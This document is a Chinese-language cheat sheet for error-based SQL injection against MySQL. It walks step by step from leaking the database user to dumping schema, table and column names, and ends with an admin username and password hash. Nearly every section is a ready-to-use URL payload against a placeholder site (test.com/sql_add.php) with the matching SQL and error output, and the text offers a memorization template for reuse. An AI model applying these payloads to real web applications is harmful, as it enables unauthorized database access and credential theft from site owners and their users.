0x00 概要

报错注入主要用于在页面中没有显示位,但是使用了echo mysql_error();输出了错误信息时使用。

记忆方式: extractvalue(1,(concat(0x7e,(payload),0x7e)))

0x01 爆数据库版本/连接用户/连接的数据库

web语句: http://www.test.com/sql_add.php?data=(extractvalue(1,concat(0x7e,(select user()),0x7e)))

数据库语句: INSERT INTO test (test) value ((extractvalue(1,concat(0x7e,(select user()),0x7e))));

  1. mysql> INSERT INTO test (test) value ((extractvalue(1,concat(0x7e,(select user()),0x7e))));
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

0x02 爆库名

注意: LIMIT 0 修改会显示其他库名
例如:
LIMIT 0,1 修改为0 就是出1库
LIMIT 1,1 修改为1 就是出2库

web语句: http://www.test.com/sql_add.php?data=extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)))

数据库语句: INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))));

  1. mysql> INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))));
  2. ERROR 1105 (HY000): XPATH syntax error: '~~information_schema~'

0x03 爆表名

注意: table_schema=xxx 修改为其他库会爆出其他库的数据
例如:
table_schema=database() 会获取当前连接的库数据
table_schema=’test’ 会获取test库数据

注意: LIMIT 0 修改会爆出不同的表名
例如:
LIMIT 0,1 修改为0 就是出1表
LIMIT 1,1 修改为1 就是出2表

web语句: http://www.test.com/sql_add.php?data=extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)))

数据库语句: INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1))));

  1. mysql> INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1))));
  2. ERROR 1105 (HY000): XPATH syntax error: '~~tdb_admin~'

0x04 暴字段

table_schema = “xx” 要爆的数据库名
table_name = “xx” 要爆的表名

limit 0 表示要爆的位置
例如:
表tdb_admin的字段为 id,usernam,password
limit 0 = id
limit 1 = username
limit 2 = password

web语句: http://www.test.com/sql_add.php?data=extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1)))

数据库语句-爆test库 tdb_admin表的字段名: INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1))));

  1. mysql> INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema='test' and table_name='tdb_admin' limit 0,1))));
  2. ERROR 1105 (HY000): XPATH syntax error: '~~id~'

0x05 爆内容

注意: limit 0 表示要显示那一条数据
limit 0 表示第一条
limit 1 表示第二条

web语句: http://www.test.com/sql_add.php?data=extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e) FROM 库名.表名 limit 0,1)))

数据库语句: INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e) FROM 库名.表名 limit 0,1))))

  1. mysql> INSERT INTO test (test) value (extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,id,0x3a,username,0x3a,password,0x7e) FROM test.tdb_admin limit 0,1))));
  2. ERROR 1105 (HY000): XPATH syntax error: '~~1:admin:7fef6171469e80d32c0559'